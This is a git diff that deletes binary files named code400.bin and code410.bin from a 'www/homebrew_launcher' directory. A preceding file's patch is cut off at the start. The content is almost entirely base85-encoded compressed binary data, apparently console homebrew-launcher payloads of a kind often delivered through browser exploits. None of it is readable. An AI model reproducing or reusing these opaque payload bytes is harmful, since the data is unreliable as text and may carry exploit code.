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 diff --git a/www/homebrew_launcher/code400.bin b/www/homebrew_launcher/code400.bin deleted file mode 100644 index 7f4500a534908bde2b5c6ed2d2708b1782e3abf7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13656 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 Ef0Ibj2LJ#7 diff --git a/www/homebrew_launcher/code410.bin b/www/homebrew_launcher/code410.bin deleted file mode 100644 index df07fff80cde69f3cfd8a6e4f33db723bd8092dc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13676 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 